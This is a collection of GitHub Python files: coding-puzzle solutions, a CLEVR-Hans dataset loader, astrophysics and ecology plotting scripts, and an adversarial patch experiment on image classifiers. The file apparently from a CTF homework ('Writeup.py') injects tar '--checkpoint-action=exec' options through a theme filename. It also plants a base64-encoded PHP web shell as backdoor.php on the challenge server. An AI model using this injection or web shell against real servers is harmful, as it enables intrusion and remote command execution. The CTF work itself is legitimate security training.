+{"seq_id":"14567063586","text":"import time, re\nfrom typing import List, Tuple, Union, Optional\nfrom heapq import heappop, heappush, heapify, heappushpop, heapreplace\nfrom collections import defaultdict, deque, Counter\nfrom itertools import accumulate, permutations, combinations, product, compress, zip_longest, pairwise, groupby\nfrom math import perm, comb, gcd, lcm, inf, ceil, floor, factorial, dist, sqrt\nfrom functools import cache, lru_cache, reduce\nfrom sortedcontainers import SortedList, SortedSet, SortedDict\nfrom bisect import bisect_left, bisect_right, insort, insort_left, insort_right\n\n\nclass Solution:\n def countPaths(self, n: int, roads: List[List[int]]) -> int:\n g = defaultdict(list)\n for u, v, w in roads:\n g[u].append((v, w))\n g[v].append((u, w))\n\n # dijkstra 求 0 -> n - 1的最短路\n\n dis = defaultdict(lambda: inf)\n dis[0] = 0\n\n dp = [0] * n\n dp[0] = 1\n\n mod = 10 ** 9 + 7\n h = [(0, 0)]\n while h:\n c, x = heappop(h)\n for y, w in g[x]:\n nc = c + w\n if nc < dis[y]:\n dis[y] = nc\n heappush(h, (nc, y))\n dp[y] = dp[x]\n elif nc == dis[y]:\n dp[y] = (dp[y] + dp[x]) % mod\n\n return dp[n - 1]\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.countPaths(n=7,\n roads=[[0, 6, 7], [0, 1, 2], [1, 2, 3], [1, 3, 3], [6, 3, 3], [3, 5, 1], [6, 5, 1], [2, 5, 1],\n [0, 4, 5], [4, 6, 2]]))\n # print(s.countPaths(n=2, roads=[[1, 0, 10]]))\n","repo_name":"ccctw-ma/leetcode","sub_path":"src/Medium/DynamicTest/countPaths.py","file_name":"countPaths.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31785175141","text":"#Name: Abhishek Chaudhary\n#Email-id: abhishekchaudhary0220@gmail.com\n#THIS IS A PROGRAM TO CONVERT ANY NO OF BASE 10 T0 ANY BASE FROM 2 TO 36\nnum=int(input(\"Enter no in base 10 : \"))\nbase=int(input(\"Enter base in which to be converted not exceeding 36 : \"))\nif(base<=36 and base>1):\n\tstack=[]\n\twhile(num>=1):\n\t tem=num%base\n\t stack.append(tem)\n\t num=num//base\n\tconverted=\"\"\n\tfor i in range(len(stack)):\n\t tem=stack[i]\n\t if(tem>9):\n\t \ttem=chr(65+tem-10)\n\t else:\n\t \ttem=str(tem)\n\t converted=tem+converted\n\tprint(converted)\nelse:\n\tprint(\"Can`t convert to base higher than 36 :(\")","repo_name":"Sachindrck/Data-Structures-and-Projects-in-python","sub_path":"Data stucture/decimal_to_any_base.py","file_name":"decimal_to_any_base.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"33867396548","text":"import tarfile\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\nimport tensorflow as tf\n\ntf.compat.v1.disable_eager_execution()\ntf.config.threading.set_intra_op_parallelism_threads(0)\ntf.config.threading.set_inter_op_parallelism_threads(0)\n\nimport click\nimport mlflow\nimport mlflow.tensorflow\nimport structlog\nfrom pathlib import Path\n\nfrom attacks import create_adversarial_patch_dataset\nfrom data import create_image_dataset\nfrom log import configure_stdlib_logger, configure_structlog_logger\n\n\nLOGGER = structlog.get_logger()\n\n\ndef evaluate_metrics(classifier, adv_ds):\n result = classifier.model.evaluate(adv_ds)\n adv_metrics = dict(zip(classifier.model.metrics_names, result))\n LOGGER.info(\"adversarial dataset metrics\", **adv_metrics)\n for metric_name, metric_value in adv_metrics.items():\n mlflow.log_metric(key=metric_name, value=metric_value)\n\n\n@click.command()\n@click.option(\n \"--data-dir\",\n type=click.Path(\n exists=True, file_okay=False, dir_okay=True, resolve_path=True, readable=True\n ),\n help=\"Root directory for ImageNet test sets.\",\n default=\"/nfs/data/ImageNet-Kaggle-2017/images/ILSVRC/Data/CLS-LOC\",\n)\n@click.option(\n \"--dataset-name\",\n type=click.STRING,\n default=\"val-sorted-5000\",\n help=\"ImageNet test set name. Options include: \"\n \"\\n val-sorted-1000 : 1000 image test set \"\n \"\\n val-sorted-5000 : 5000 image test set \"\n \"\\n val-sorted-10000 : 10000 image test set \"\n \"\\n val-sorted : 50000 image test set \",\n)\n@click.option(\n \"--model\",\n type=click.STRING,\n help=\"Name of model to load from registry\",\n default=\"keras-model-imagenet-resnet50/1\",\n)\n@click.option(\n \"--batch-size\",\n type=click.INT,\n help=\"Batch size to use when training a single epoch\",\n default=20,\n)\n@click.option(\n \"--rotation-max\",\n type=click.FLOAT,\n help=\"The maximum rotation applied to random patches. \\\n The value is expected to be in the range `[0, 180]` \",\n default=22.5,\n)\n@click.option(\n \"--scale-min\",\n type=click.FLOAT,\n help=\"The minimum scaling applied to random patches. \\\n The value should be in the range `[0, 1]`, but less than `scale_max` \",\n default=0.1,\n)\n@click.option(\n \"--scale-max\",\n type=click.FLOAT,\n help=\"The maximum scaling applied to random patches. \\\n The value should be in the range `[0, 1]`, but larger than `scale_min.` \",\n default=1.0,\n)\n@click.option(\n \"--scale-patch\",\n type=click.FLOAT,\n help=\"Fixed scaling applied to random patches. \\\n If set to a negative value, random scaling is used instead. \",\n default=0.4,\n)\n@click.option(\n \"--learning-rate\",\n type=click.FLOAT,\n help=\"The learning rate of the patch attack optimization procedure. \",\n default=5.0,\n)\n@click.option(\n \"--max-iter\",\n type=click.INT,\n help=\" The number of patch optimization steps. \",\n default=500,\n)\n@click.option(\n \"--patch-target\",\n type=click.INT,\n help=\" The target class index of the generated patch. Negative numbers will generate randomized id labels.\",\n default=-1,\n)\n@click.option(\n \"--num-patch\",\n type=click.INT,\n help=\" The number of patches generated. Each adversarial image recieves one patch. \",\n default=1,\n)\n@click.option(\n \"--num-patch-gen-samples\",\n type=click.INT,\n help=\" The number of sample images used to generate each patch. \",\n default=10,\n)\n@click.option(\n \"--max-iter\",\n type=click.INT,\n help=\" The number of patch optimization steps. \",\n default=500,\n)\n# @click.option(\n# \"--patch-shape\",\n# type=click.Tuple([int, int, int]),\n# help = \" Shape of adversarial patch. Matches input if set to None.\",\n# default=None,\n# )\ndef patch_attack(\n data_dir,\n dataset_name,\n model,\n batch_size,\n rotation_max,\n scale_min,\n scale_max,\n scale_patch,\n learning_rate,\n max_iter,\n patch_target,\n num_patch,\n num_patch_gen_samples,\n patch_shape=None,\n):\n LOGGER.info(\n \"Execute MLFlow entry point\",\n entry_point=\"patch_attack\",\n data_dir=data_dir,\n )\n\n with mlflow.start_run() as _:\n testing_dir = Path(data_dir) / dataset_name\n\n adv_data_dir = Path().cwd() / \"adv_testing\"\n adv_data_dir.mkdir(parents=True, exist_ok=True)\n\n adv_patch_dir = Path().cwd() / \"adv_patches\"\n adv_patch_dir.mkdir(parents=True, exist_ok=True)\n\n image_size = (224, 224)\n\n classifier = create_adversarial_patch_dataset(\n data_dir=testing_dir,\n model=model,\n adv_data_dir=adv_data_dir.resolve(),\n adv_patch_dir=adv_patch_dir.resolve(),\n batch_size=batch_size,\n image_size=image_size,\n patch_target=patch_target,\n num_patch=num_patch,\n num_patch_samples=num_patch_gen_samples,\n scale_patch=scale_patch,\n rotation_max=rotation_max,\n scale_min=scale_min,\n scale_max=scale_max,\n learning_rate=learning_rate,\n max_iter=max_iter,\n patch_shape=patch_shape,\n )\n\n adv_ds = create_image_dataset(\n data_dir=str(adv_data_dir.resolve()), subset=None, validation_split=None\n )\n evaluate_metrics(classifier=classifier, adv_ds=adv_ds)\n\n # Save adversarial dataset.\n adv_testing_tar = Path().cwd() / \"adv_testing.tar.gz\"\n\n with tarfile.open(adv_testing_tar, \"w:gz\") as f:\n f.add(str(adv_data_dir.resolve()), arcname=adv_data_dir.name)\n\n mlflow.log_artifact(str(adv_testing_tar))\n\n # Save patch set.\n adv_patch_tar = Path().cwd() / \"adv_patch.tar.gz\"\n\n with tarfile.open(adv_patch_tar, \"w:gz\") as f:\n f.add(str(adv_patch_dir.resolve()), arcname=adv_patch_dir.name)\n\n mlflow.log_artifact(str(adv_patch_tar))\n\n\nif __name__ == \"__main__\":\n configure_stdlib_logger(\"INFO\", log_filepath=None)\n configure_structlog_logger(\"console\")\n\n patch_attack()\n","repo_name":"hhuangMITRE/dioptra","sub_path":"examples/patch-defended-pixel-threshold/src/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"75048611282","text":"#1754A\nfor _ in range(int(input())):\n n=int(input())\n l=input()\n ans=0\n for i in range(n):\n if l[i]==\"Q\":ans+=1\n else:ans-=1\n if ans<0:ans=0\n if ans>0:print(\"NO\")\n else:print(\"YES\")","repo_name":"Anuvab-Chakraborty/My_DSA_Journey_PYTHON","sub_path":"CODEFORCES PROBLEMS IN PYTHON/1754A.py","file_name":"1754A.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"15048651593","text":"import os\nimport json\n\nimport torch\nimport torch.utils.data\nimport torchvision.transforms as transforms\nfrom torchvision.datasets.folder import pil_loader\nimport numpy as np\n\nfrom pycocotools import mask as coco_mask\n\nos.environ[\"MKL_NUM_THREADS\"] = \"6\"\nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"6\"\nos.environ[\"OMP_NUM_THREADS\"] = \"6\"\ntorch.set_num_threads(6)\n\ndef get_loader(dataset, batch_size, num_workers=8, shuffle=True):\n return torch.utils.data.DataLoader(\n dataset,\n shuffle=shuffle,\n batch_size=batch_size,\n pin_memory=True,\n num_workers=num_workers,\n drop_last=True,\n )\n\n\nCLASSES = {\n \"shape\": [\"sphere\", \"cube\", \"cylinder\"],\n \"size\": [\"large\", \"small\"],\n \"material\": [\"rubber\", \"metal\"],\n \"color\": [\"cyan\", \"blue\", \"yellow\", \"purple\", \"red\", \"green\", \"gray\", \"brown\"],\n}\n\n\nclass CLEVR_HANS_EXPL(torch.utils.data.Dataset):\n def __init__(self, base_path, split, lexi=False, conf_vers='conf_2'):\n assert split in {\n \"train\",\n \"val\",\n \"test\",\n }\n self.lexi = lexi\n self.base_path = base_path\n self.split = split\n self.max_objects = 10\n self.conf_vers = conf_vers\n\n with open(self.scenes_path) as fd:\n scenes = json.load(fd)[\"scenes\"]\n self.img_ids, self.img_class_ids, self.scenes, self.fnames, self.gt_img_expls, self.gt_table_expls = \\\n self.prepare_scenes(scenes)\n\n self.transform = transforms.Compose(\n [transforms.Resize((128, 128)),\n transforms.ToTensor()]\n )\n # self.transform_img_expl = transforms.Compose(\n # [transforms.ToPILImage(mode='L'),\n # transforms.Resize((14, 14), interpolation=5),\n # transforms.ToTensor()]\n # )\n\n self.n_classes = len(np.unique(self.img_class_ids))\n self.category_dict = CLASSES\n\n # get ids of category ranges, i.e. shape has three categories from ids 0 to 2\n self.category_ids = np.array([3, 6, 8, 10, 18])\n\n def convert_coords(self, obj, scene_directions):\n # convert the 3d coords based on camera position\n # conversion from ns-vqa paper, normalization for slot attention\n position = [np.dot(obj['3d_coords'], scene_directions['right']),\n np.dot(obj['3d_coords'], scene_directions['front']),\n obj['3d_coords'][2]]\n coords = [(p +4.)/ 8. for p in position]\n return coords\n\n def object_to_fv(self, obj, scene_directions):\n coords = self.convert_coords(obj, scene_directions)\n one_hot = lambda key: [obj[key] == x for x in CLASSES[key]]\n material = one_hot(\"material\")\n color = one_hot(\"color\")\n shape = one_hot(\"shape\")\n size = one_hot(\"size\")\n assert sum(material) == 1\n assert sum(color) == 1\n assert sum(shape) == 1\n assert sum(size) == 1\n # concatenate all the classes\n return coords + shape + size + material + color\n\n def prepare_scenes(self, scenes_json):\n img_ids = []\n scenes = []\n gt_img_expls = []\n img_class_ids = []\n gt_table_expls = []\n fnames = []\n for scene in scenes_json:\n fnames.append(os.path.join(self.images_folder, scene['image_filename']))\n img_class_ids.append(scene['class_id'])\n img_idx = scene[\"image_index\"]\n\n objects = [self.object_to_fv(obj, scene['directions']) for obj in scene[\"objects\"]]\n objects = torch.FloatTensor(objects).transpose(0, 1)\n\n # get gt image explanation based on the classification rule of the class label\n gt_img_expl_mask = self.get_img_expl_mask(scene)\n gt_img_expls.append(gt_img_expl_mask)\n\n num_objects = objects.size(1)\n # pad with 0s\n if num_objects < self.max_objects:\n objects = torch.cat(\n [\n objects,\n torch.zeros(objects.size(0), self.max_objects - num_objects),\n ],\n dim=1,\n )\n\n # get gt table explanation based on the classification rule of the class label\n gt_table_expl_mask = self.get_table_expl_mask(objects, scene['class_id'])\n gt_table_expls.append(gt_table_expl_mask)\n\n # fill in masks\n mask = torch.zeros(self.max_objects)\n mask[:num_objects] = 1\n\n # concatenate obj indication to end of object list\n objects = torch.cat((mask.unsqueeze(dim=0), objects), dim=0)\n\n img_ids.append(img_idx)\n scenes.append(objects.T)\n return img_ids, img_class_ids, scenes, fnames, gt_img_expls, gt_table_expls\n\n def get_img_expl_mask(self, scene):\n class_id = scene['class_id']\n\n mask = 0\n if self.conf_vers == 'CLEVR-Hans3':\n for obj in scene['objects']:\n if class_id == 0:\n if (obj['shape'] == 'cube' and obj['size'] == 'large') or \\\n (obj['shape'] == 'cylinder' and obj['size'] == 'large'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 1:\n if (obj['shape'] == 'cube' and obj['size'] == 'small' and obj['material'] == 'metal') or \\\n (obj['shape'] == 'sphere' and obj['size'] == 'small'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 2:\n if (obj['shape'] == 'sphere' and obj['size'] == 'large' and obj['color'] == 'blue') or \\\n (obj['shape'] == 'sphere' and obj['size'] == 'small' and obj['color'] == 'yellow'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif self.conf_vers == 'CLEVR-Hans7':\n for obj in scene['objects']:\n if class_id == 0:\n if (obj['shape'] == 'cube' and obj['size'] == 'large') or \\\n (obj['shape'] == 'cylinder' and obj['size'] == 'large'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 1:\n if (obj['shape'] == 'cube' and obj['size'] == 'small' and obj['material'] == 'metal') or \\\n (obj['shape'] == 'sphere' and obj['size'] == 'small'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n if class_id == 2:\n # get y coord of red and cyan objects\n objects = [self.object_to_fv(obj, scene['directions']) for obj in scene[\"objects\"]]\n y_red = [obj[1] for obj in objects if obj[14] == 1]\n y_cyan = [obj[1] for obj in objects if obj[10] == 1]\n obj_coords = self.convert_coords(obj, scene['directions'])\n if (obj['color'] == 'cyan' and sum(obj_coords[1] > y_red) >= 2) or \\\n (obj['color'] == 'red' and sum(obj_coords[1] < y_cyan) >= 1):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 3:\n if (obj['size'] == 'small'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 4:\n obj_coords = self.convert_coords(obj, scene['directions'])\n if (obj['shape'] == 'sphere' and obj_coords[0] < 0.5 or\n obj['shape'] == 'cylinder' and obj['material'] == 'metal' and obj_coords[0] > 0.5):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 4:\n obj_coords = self.convert_coords(obj, scene['directions'])\n if (obj['shape'] == 'cylinder' and obj['material'] == 'metal' and obj_coords[0] > 0.5):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n elif class_id == 6:\n if (obj['shape'] == 'sphere' and obj['size'] == 'large' and obj['color'] == 'blue') or \\\n (obj['shape'] == 'sphere' and obj['size'] == 'small' and obj['color'] == 'yellow'):\n rle = obj['mask']\n mask += coco_mask.decode(rle)\n\n return torch.tensor(mask) * 255 # for PIL\n\n def get_table_expl_mask(self, objects, class_id):\n objects = objects.T\n\n mask = torch.zeros(objects.shape)\n\n if self.conf_vers == 'CLEVR-Hans3':\n for i, obj in enumerate(objects):\n if class_id == 0:\n # if cube and large\n if (obj[3:8] == torch.tensor([0, 1, 0, 1, 0])).all():\n mask[i, 3:8] = torch.tensor([0, 1, 0, 1, 0])\n # or cylinder and large\n elif (obj[3:8] == torch.tensor([0, 0, 1, 1, 0])).all():\n mask[i, 3:8] = torch.tensor([0, 0, 1, 1, 0])\n elif class_id == 1:\n # if cube, small, metal\n if (obj[3:10] == torch.tensor([0, 1, 0, 0, 1, 0, 1])).all():\n mask[i, 3:10] = torch.tensor([0, 1, 0, 0, 1, 0, 1])\n # or sphere, small\n elif (obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n elif class_id == 2:\n # if sphere large blue\n if ((obj[3:8] == torch.tensor([1, 0, 0, 1, 0])).all()\n and (obj[10:] == torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])).all()).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 1, 0])\n mask[i, 10:] = torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])\n # or sphere small yellow\n elif ((obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all()\n and (obj[10:] == torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])).all()).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n mask[i, 10:] = torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])\n elif self.conf_vers == 'CLEVR-Hans7':\n for i, obj in enumerate(objects):\n if class_id == 0:\n # if cube and large\n if (obj[3:8] == torch.tensor([0, 1, 0, 1, 0])).all():\n mask[i, 3:8] = torch.tensor([0, 1, 0, 1, 0])\n # or cylinder and large\n elif (obj[3:8] == torch.tensor([0, 0, 1, 1, 0])).all():\n mask[i, 3:8] = torch.tensor([0, 0, 1, 1, 0])\n elif class_id == 1:\n # if cube, small, metal\n if (obj[3:10] == torch.tensor([0, 1, 0, 0, 1, 0, 1])).all():\n mask[i, 3:10] = torch.tensor([0, 1, 0, 0, 1, 0, 1])\n # or sphere, small\n elif (obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n elif class_id == 2:\n # get maximal y coord of red objects\n y_red = objects[objects[:, 14] == 1, 1]\n y_cyan = objects[objects[:, 10] == 1, 1]\n # if cyan object and y coord greater than that of at least 2 red objs, i.e. in front of red objs\n if ((obj[10:] == torch.tensor([1, 0, 0, 0, 0, 0, 0, 0])).all()\n and (sum(obj[1] > y_red) >= 2)).all():\n mask[i, 10:] = torch.tensor([1, 0, 0, 0, 0, 0, 0, 0])\n mask[i, 1] = torch.tensor([1])\n # or red obj\n elif ((obj[10:] == torch.tensor([0, 0, 0, 0, 1, 0, 0, 0])).all()\n and (sum(obj[1] < y_cyan) >= 1)).all():\n mask[i, 10:] = torch.tensor([0, 0, 0, 0, 1, 0, 0, 0])\n mask[i, 1] = torch.tensor([1])\n elif class_id == 3:\n # if small and brown\n if ((obj[6:8] == torch.tensor([0, 1])).all()\n and (obj[10:] == torch.tensor([0, 0, 0, 0, 0, 0, 0, 1])).all()).all():\n mask[i, 6:8] = torch.tensor([0, 1])\n mask[i, 10:] = torch.tensor([0, 0, 0, 0, 0, 0, 0, 1])\n # if small and green\n elif ((obj[6:8] == torch.tensor([0, 1])).all()\n and (obj[10:] == torch.tensor([0, 0, 0, 0, 0, 1, 0, 0])).all()).all():\n mask[i, 6:8] = torch.tensor([0, 1])\n mask[i, 10:] = torch.tensor([0, 0, 0, 0, 0, 1, 0, 0])\n # if small and purple\n elif ((obj[6:8] == torch.tensor([0, 1])).all()\n and (obj[10:] == torch.tensor([0, 0, 0, 1, 0, 0, 0, 0])).all()).all():\n mask[i, 6:8] = torch.tensor([0, 1])\n mask[i, 10:] = torch.tensor([0, 0, 0, 1, 0, 0, 0, 0])\n # elif small\n elif (obj[6:8] == torch.tensor([0, 1])).all():\n mask[i, 6:8] = torch.tensor([0, 1])\n elif class_id == 4:\n # if at least 3 metal cylinders on right side\n if sum((objects[:, 5] == 1) & (objects[:, 9] == 1) & (objects[:, 0] > 0.5)) >= 3:\n # if sphere and on left side\n if ((obj[3:6] == torch.tensor([1, 0, 0])).all()\n and obj[0] < 0.5).all():\n mask[i, 3:6] = torch.tensor([1, 0, 0])\n mask[i, 0] = torch.tensor([1])\n # if metal cyl. and on right side\n elif ((obj[3:6] == torch.tensor([0, 0, 1])).all()\n and (obj[8:10] == torch.tensor([0, 1])).all()\n and obj[0] > 0.5).all():\n mask[i, 3:6] = torch.tensor([0, 0, 1])\n mask[i, 8:10] = torch.tensor([0, 1])\n mask[i, 0] = torch.tensor([1])\n # if sphere and on left side\n elif ((obj[3:6] == torch.tensor([1, 0, 0])).all()\n and obj[0] < 0.5).all():\n mask[i, 3:6] = torch.tensor([1, 0, 0])\n mask[i, 0] = torch.tensor([1])\n elif class_id == 5:\n # if metal cylinder and on right side\n if ((obj[3:6] == torch.tensor([0, 0, 1])).all()\n and (obj[8:10] == torch.tensor([0, 1])).all()\n and obj[0] > 0.5).all():\n mask[i, 3:6] = torch.tensor([0, 0, 1])\n mask[i, 8:10] = torch.tensor([0, 1])\n mask[i, 0] = torch.tensor([1])\n elif class_id == 6:\n # if sphere large blue\n if ((obj[3:8] == torch.tensor([1, 0, 0, 1, 0])).all()\n and (obj[10:] == torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])).all()).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 1, 0])\n mask[i, 10:] = torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])\n # or sphere small yellow\n elif ((obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all()\n and (obj[10:] == torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])).all()).all():\n mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n mask[i, 10:] = torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])\n\n return mask\n\n @property\n def images_folder(self):\n return os.path.join(self.base_path, self.split, \"images\")\n\n @property\n def scenes_path(self):\n return os.path.join(\n self.base_path, self.split, \"CLEVR_HANS_scenes_{}.json\".format(self.split)\n )\n\n def __getitem__(self, item):\n image_id = self.img_ids[item]\n\n image = pil_loader(self.fnames[item])\n # TODO: sofar only dummy\n img_expl = torch.tensor([0])\n\n if self.transform is not None:\n image = self.transform(image) # in range [0., 1.]\n image = (image - 0.5) * 2.0 # Rescale to [-1, 1].\n # img_expl = self.transform_img_expl(img_expl)\n\n objects = self.scenes[item]\n table_expl = self.gt_table_expls[item]\n img_class_id = self.img_class_ids[item]\n\n # remove objects presence indicator from gt table\n objects = objects[:, 1:]\n\n return image, objects, img_class_id, image_id, img_expl, table_expl\n\n def __len__(self):\n return len(self.scenes)\n\n","repo_name":"boyettelk/Intentional_Forgetting","sub_path":"NeSyXIL-Intentional_Forgetting/NeSyConceptLearner/src/data_clevr_hans.py","file_name":"data_clevr_hans.py","file_ext":"py","file_size_in_byte":17060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17587812373","text":"from flask import Flask\nimport base64\nimport requests\nimport json\n\n\n\napp = Flask(__name__)\ncookies = { 'PHPSESSID' : '2iqtg6rmf8330gap6icookvodd' }\nuser_md5 = \"5d3437151a39b5a13e45af2e71cd1818\"\n\n\n\ndef view():\n #read file information - view.php\n url_view = 'https://pasteweb.ctf.zoolab.org/view.php'\n r = requests.get(url_view, cookies=cookies) \n response = r.content.decode('utf-8')\n string_start = response.find(';base64,')\n string_end = response.find('\");\\n')\n info = response[string_start+8:string_end]\n #print(f\"[*] Origin Value : {info}\")\n print(f\"[*] Return Value : \",base64.b64decode(info) )\n\n return base64.b64decode(info)\n\n\n\ndef editCSS(name):\n url_edit = 'https://pasteweb.ctf.zoolab.org/editcss.php'\n value = { 'less' : \"\" , 'theme' : name}\n r = requests.post(url_edit, data=value, cookies=cookies) \n\nif __name__ == '__main__':\n editCSS(\"--checkpoint-action=exec=echo hi_hi1 > hi.txt ;.css\")\n\n\n\n editCSS(\"--checkpoint-action=exec=echo ''> backdoor.php ;.css\")\n \n\n\n\n editCSS(\"--checkpoint-action=exec=sh shell.sh ;.css\")\n\n\n editCSS(\"--checkpoint-action=exec=echo 'PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=='| base64 -d > backdoor.php ;.css\") \n","repo_name":"Richard-YH/CTF","sub_path":"SP2022/Web/HW_pasteweb(flag3)/Writeup/Writeup.py","file_name":"Writeup.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"36138259499","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib, matplotlib.pyplot as plt\nimport scipy.interpolate as interpolate\nimport scipy.integrate as integrate\n\nimport cloudy_plots as clplt\n\nif __name__ == '__main__':\n fn_base = 'grid-density'\n cp = clplt.CloudyPlotter(fn_base)\n \n # Open the output file to get mean ionisation fractions\n out_file = open(fn_base + '.out')\n lines = out_file.readlines()\n # find lines we care about\n matches = filter(lambda l: \"Log10 Mean Ionisation (over radius)\" in l, lines)\n # split into words\n matches_exploded = [l.split() for l in matches]\n # extract the strings corresponding to the numerical values\n number_strings = [l[1:4] for l in matches_exploded]\n # Cloudy fails to leave whitespace between numbers sometimes\n # so need to muck around to separate them\n numbers = []\n for ls in number_strings:\n hi = ls[0]\n hii = ''\n if '(H2)' in ls[2]: # the space is missing, so the data looks like '-2.644-11.528'\n hiibeg = ls[1].find('-')\n hiiend = ls[1].rfind('-')\n assert(hiibeg != -1 and hiiend != -1)\n hii = ls[1][hiibeg:hiiend]\n else:\n hii = ls[1]\n numbers.append([10**(float(hi)), 10**(float(hii))]) # values stored as log10\n \n # Ordinary averages aren't very meaningful, because in linear space X_HI approaches 1\n # for the vast majority of the x range --> mean value is near 1\n # So instead I'm taking the average over log(x) space\n myavgs = []\n for idx in range(cp.nfiles()):\n # interpolate over the data\n ionfracs = cp.get_col(idx, 'HI')\n depth = cp.get_col(idx, 'depth')\n func = interpolate.interp1d(depth, ionfracs,\n bounds_error=False,\n fill_value=(ionfracs[0], ionfracs[-1]))\n # sample over full range [0, 10**30]\n xs = np.logspace(0, 30, 10000)\n ys = func(xs)\n # integrate numerically\n avg = integrate.simps(ys, np.log10(xs)) / 30\n myavgs.append(avg)\n\n #idx = 0\n #ds = data_ovr[idx]\n #ionfracs = get_col(ds, idx_xhi)\n #func = interpolate.interp1d(get_col(ds, idx_depth),\n # ionfracs,\n # bounds_error=False,\n # fill_value=(ionfracs[0], ionfracs[-1]))\n #xs = np.logspace(0, 30, 10000)\n #ys = func(xs)\n #plt.figure()\n #ax = plt.gca()\n #ax.set_xscale('log')\n #plt.scatter(xs, ys, s=2)\n #plt.plot(get_col(ds, idx_depth), get_col(ds, idx_xhi), color=colours[0], marker='.', linestyle='')\n\n # Plot of ionisation fraction as a function of H density\n plt.figure()\n ax = plt.gca()\n ax.set_title('$\\overline{x}_\\mathrm{HI}$ as a function of $n_H$')\n ax.set_xlabel('$\\log(n_H)$')\n ax.set_ylabel('$\\overline{x}_\\mathrm{HI}$')\n hden = [cp.get_grid_param(idx, 'hden') for idx in range(cp.nfiles())]\n plt.plot(hden, myavgs, label='My \"log x\" averages')\n plt.plot(hden, [n[0] for n in numbers], label='Cloudy averages')\n plt.legend()\n\n plt.show()\n","repo_name":"calvin-sykes/mmas-project","sub_path":"cloudy-scripts/grid-density/plot-mean-ionisation.py","file_name":"plot-mean-ionisation.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27292560336","text":"# Simple Kot Models\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\nfrom scipy import integrate\n#import os\n\n#os.chdir('C:\\Users\\ed\\Google Drive\\MarineEco')\n \n#=======================================================\ndef KotDF1(par1,initial_cond,start_t,end_t,incr):\n #-time-grid-----------------------------------\n t = np.linspace(start_t, end_t, num = incr)\n #differential-eq-system----------------------\n def funct(x,t):\n D1, si, mu1, mu2, y1, y2, k1, k2, epsilon1, T1 = par1\n omega1 = 2*np.pi/T1\n xp1 = D1*( si*(1 + epsilon1*np.sin(omega1*t))-x[0])-mu1*x[0]*x[1]/y1/(k1+x[0])\n xp2 = mu1*x[0]*x[1]/(k1+x[0]) - D1*x[1] - mu2*x[1]*x[2]/y2/(k2+x[1])\n xp3 = mu2*x[1]*x[2]/(k2+x[1]) - D1*x[2]\n return [xp1, xp2, xp3]\n #integrate------------------------------------\n ds = integrate.odeint(funct, initial_cond, t)\n return (t, ds[:,0], ds[:,1], ds[:,2])\n#=======================================================\n\n\nD1 = 0.1 # Dilution rate 1/hour\nsi = 115 # units of si are mg/l\n# maximum specific growth rate of prey and preditor (1/hour)\nmu1 = 0.5 # prey\nmu2 = 0.2 # preditor\n# yields\ny1 = 0.4 # yield of prey per unit mass of substrate\ny2 = 0.6 # biomass yield of predator per unit mass of prey\n# half-saturation (Michaelis-Menton)\nk1 = 8 # prey\nk2 = 9 # predator\n# Other variables\nepsilon1 = 0.6\nT1 = 15\n\n# Create containers\nx1 = np.zeros(shape=(101))\nx2 = np.zeros(shape=(101))\nx3 = np.zeros(shape=(101))\nt1 = np.zeros(shape=(101))\n\n# Initial Conditions\nx0 = [0.25, 0.5, 0.5]\n\n# Pack the parameters together\npar1 = (D1, si, mu1, mu2, y1, y2, k1, k2, epsilon1, T1)\nt1[:], x1[:], x2[:], x3[:] = KotDF1( par1, x0, 0, 15., 101 )\n \nplt.figure()\nplt.plot(t1, x1,'-b', t1 , x2,'-r')\nplt.ylim( [0,350])\n#plt.legend(('Foxes', 'Rabbits'),'upper 